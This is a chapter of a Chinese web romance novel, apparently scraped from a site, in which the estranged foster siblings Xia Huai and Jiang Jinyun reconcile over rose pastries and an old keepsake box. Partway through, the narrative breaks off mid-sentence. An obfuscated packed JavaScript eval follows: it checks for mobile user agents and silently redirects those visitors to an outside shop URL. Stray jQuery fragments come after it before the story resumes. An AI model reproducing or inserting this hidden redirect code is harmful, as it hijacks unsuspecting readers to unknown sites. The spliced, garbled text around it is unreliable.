30. 假戏
    “你说什么?”此时的江谨昀特别害怕自己听错了,又问了一遍。

    “我说这个酥饼——”

    “不是,是你刚刚叫我什么?”

    书房里突然变得异常安静,静到似乎能听见彼此心跳加快的声音。

    夏槐这才反应过来,以为他讨厌这个小名,立马又改了称呼:“对不起,江先生,打扰了,我现在就走。”

    说着,她便识趣地拎着袋子离开。

    她以为作好以这种为结局的准备,也知道了这样的方法是行不通。

    “你别走!”他语气变得激动起来,一下子站起来,阔步走到她身后拉住她的手臂。

    夏槐转过身,眉毛微微颤抖着,很是疑惑地看着他。

    “你不是应该不想见我吗?为什么你还要出现在我面前?还有,你原来一口一个‘江先生’,不是叫的挺顺口吗?为什么突然又改口了?”

    她愣在那里,一时间不知道如何开口,心里想这问的是什么问题,不叫他“江先生”,那叫他什么?江总?

    江谨昀慢慢靠近她,她不由自主地后退两步。

    “我当初以为你恨我,是因为夏国志把你从你亲生父母那边偷走,让你遭受了非人的虐待,我又是他的亲生女儿,所以得知真相后,你理应恨我。但我真的没想到,你的恨是因为我把你送到你的亲生父母那里。现在知道了,也许......我们可以重新做姐弟,就是不知道......你会不会嫌弃我,因为我们两个,现在根本不是一个阶级的人。其实这么多年,我也挺想你的,当初这样做,也只是想让你回到属于你的家庭,有更好的生活,我没有异心,如果你能开心了,我便也心满意足了。”

    说着,她默默垂下头,鼻尖一酸,眼眶泛红。

    “那现在呢......”他哑声问,心里迫不及待得到她的回答。

    “如果你还认我这个姐姐,那我们试一试以姐弟——”

    夏槐还没说完,江谨昀一把抱住她,紧紧把她拥入怀里,好像要把她融入自己身体里一样。激动的情绪像一股涌流,冲破了他所有的束缚。

    “姐,我想听你再叫我一声‘小彦’。”他的声音近乎带着哽咽。

    这个称呼,他已经念了想了好多年了。

    夏槐靠在他的波动起伏明显的胸膛上,听到他的心跳越来越快,她犹豫地腾出两只手,慢慢覆上他坚/挺的后背,然后像小时候那样,轻轻安抚着。

    时隔十多年,她再一次听到他叫的“姐”,之间的回忆瞬间又涌入她的脑海,她似乎又看到了弟弟那张傲娇但目光清澈明亮的脸。

    “小彦。”她终于试着叫出口,声音很是生涩。

    江谨昀眼尾泛红,眼眶更是酸涩。他微微弯下腰,把脸埋进她的脖颈处,一滴温热的泪水滴落在她肩膀上,湿润了整个黑夜。

    他再也抑制不住自己的感情,把所有藏在心底的话都倾诉出来:

    “姐,我真的太想你了。在京城这么多年,我以为我能放下你,但我始终忘不掉,我来到这里,好长一段时间都睡不着,但我又很想入眠,因为在梦里我就能看到你了。”

    他句句真切,带着一些藏不住的委屈,他又贴近她一些,像少年时那样依偎在她柔软的身前,又继续道:

    “我费尽心思找到你,看到你的时候,我的确心中又有恨,恨你抛下我,但终究抵不过想你,我就拼命想把你留在我身边,我知道你是唐德教授最满意的学生之一,又有做家教老师的经验,我就特地放出消息,他一定会举荐你,你需要钱也一定会来。”

    她真的来了,推门重逢的那一刻,时间仿佛凝滞,他差一点就失控了。

    “那为什么你要伤害自己?为什么要喝那碗粥?”

    听到夏槐提到这个,他又记起了那天晚上不堪的回忆,想起来自己幼稚的举动,一时失去的分寸,让他差点失去了她。仿佛有无数根扎进他的心里,让他疼痛又懊悔不已。

    他不能让误会,他只能极力的解释:“对不起,对不起,是我愚蠢,你第一次见我时,我就知道你已经认出了我,我当时只是想看看,你还会不会像小时候那样心疼我,会不会像从前那样关心我,但没想到你会错解我的意思,你又会这样想我,我当时一气之下就说了违心的话,我即使再恨你但我从来没想过要伤害你,我真的害怕你误会我,害怕你又一次远离我,对不起......”

    说了这么多,他的嘴已经止不住地在颤抖了,喉咙也感到感到一阵干涩。

    夏槐甚至能感觉到他身体在轻微地抖动着,她不禁攥紧拳头,心情复杂,也不知道这种感觉欣然还是难受。

    但这些情绪她都不应该有,这只是一场让他释怀的戏,她不能陷进去,不然后果她实在不敢想。她说服着自己一定要保持清醒,他们永远不可能是一条道路上的人。

    “好了,小彦,不过是一场误会,我没有怪过你,前面的事情一笔勾销。你抱.....抱得太紧,有点呼吸不上来,那个酥饼,你要不要去尝一尝,现在应该还有些温。”她只能轻拍着他的后背先宽慰道。

    他这么放开夏槐,一手抓着她的手腕,一手提着袋子,带她坐在沙发上。

    夏槐偷偷瞧了他一眼,他的眼眶湿润,鼻尖泛红,想不到平时孤傲清冷的江谨昀,今天却这么失态,像个求关心的小孩一样,她觉得还挺新奇的。

    “你等一下。”他离开座位,蹲在书桌前,打开最下面的柜子,拿出里面那个藏青色的盒子,然后回到夏槐身边,把盒子放在自己的腿上,很小心地用钥匙打开了它。

    “这个是盒子不是上次从垃圾箱里翻到的那个吗?”

    江谨昀有些失落地问

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13718124|139678||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    :“你只记得这么多吗?”

    夏槐点了点头,眯眼又看了看,盒子有些褪色了,颜色看起来比较暗沉。

    记忆重塑,她突然就想起了十年前,送给他的那个盒子,跟这个特别像!

    “是我送你的那个密码盒吗?”

    “你终于记起来了。”他苦苦一笑。

    那天雨夜,夏槐帮他找盒子的时候,他特别害怕被她找到,发现自己的秘密,又害怕找到的时候,她记不起来这个盒子。

    江谨昀拿出里面的东西,是一个绣着小兔子图案的香囊、一本日记本和一些照片。

    夏槐心头一颤,瞪大眼眶看着这些他保留的物品。

    “你居然还留着?我以为这些东西你都不会想要拿走......”

    弟弟离开的时候,夏槐想去他房间里找出那些曾经属于他们两个的合照,可是翻遍整个房间都没找到能缓解她思念的照片。她有怀疑过这些照片可能是被他扔在哪个角落,或者已经被他扔掉了,但她从没有想过这些照片被他带回了京城,珍藏这里。

    “你这样想我,怎么能让我不难过。”他心中多了一份苦楚,“我让佣人在家中的花园里,种了一棵槐花树,每到春天的时候,我就会摘一下下来,放在香囊里,然后时刻带在身边,等花谢没有味道的时候,我才会把它收回去。”

    他越说,夏槐心中却越愧疚,他是一个长情的人,而自己却拼命想忘掉那段回忆,拼命想放下那段感情。

    而重建起的这段姐弟感情,也只是为了以后能更好的分离,原来自己才是那个无情无义的人。

    夏槐只希望他以后能慢慢腻了有她的生活,慢慢从这段回忆里解脱出来,她会渐渐淡出他的视线,他便可以真正过回属于他这个天之骄子的人生。

    “好啦,我知道小彦是一个情深义重的人,是姐姐错怪你了,这个你能不能原谅我?”她亲切地笑了笑,像小时候那样又摸了摸他浓密的头发。

    说完,夏槐打开盒子,拿起一块玫瑰酥饼,递到他的面前,“尝一尝,是不是小时候那个味道了?”

    江谨昀接了过来,大口咬了一块,塞进嘴里。

    “你慢点吃,别噎着了,又没人跟你抢。”夏槐拍了拍他的后背,看着现在的江谨昀急切的样子跟原来那个斯文优雅的他大相径庭,她哭笑不得,有些期待地问,“味道怎么样?”

    “只要是你给我带的,都好吃。”

    说着,他像饿了好几天一样,一下子咽了好几块。

    “姐。”他突然停顿下来,问出了藏在心底好多年的秘密,“当年,我想让妈也带你来京城,她也同意了,她过来接你的时候,你为什么不肯过来,为什么会说出这么绝情的话?”

    夏槐愣住了,想起中考完的那个暑假,他的亲生母亲是来找过她,但根本不是为了这个。